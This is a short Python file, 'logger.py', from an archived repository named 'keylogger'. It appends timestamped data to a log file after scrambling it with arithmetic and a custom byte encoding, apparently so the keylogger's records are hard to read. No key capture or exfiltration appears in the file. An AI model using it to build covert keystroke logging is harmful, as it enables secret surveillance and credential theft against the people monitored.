This repository has been archived on 2021-11-11. You can view files and clone it, but cannot push or open issues or pull requests.
keylogger/logger.py
Masahiko AMANO 0caef08c36 Init commit
2021-11-11 15:22:08 +03:00

36 lines
938 B
Python

from threading import Thread
from time import time
from config import LOGPATH
def encode(plain):
cipher = []
for num in plain:
neg = num < 0
num = bin(abs(num))[2:]
while len(num) > 7:
cipher.append('1' + num[:7])
num = num[7:]
cipher.append(num.rjust(8, '0'))
cipher.append(str(int(neg)) + bin(len(num))[2:].rjust(7, '0'))
return list(map(lambda byte: int(byte, 2), cipher))
class LogThread(Thread):
def __init__(self, data):
Thread.__init__(self)
self.data = list(data) + [int(time() * 1000)]
def run(self):
cipher = list(map(lambda n: n * 228 - 54, self.data))
cipher = encode(cipher)
cipher = list(map(lambda byte: (byte + 190) % 256, cipher))
with open(LOGPATH, 'ab') as logfile:
logfile.write(bytes(cipher))
def log(*data):
logger = LogThread(data)
logger.start()
pass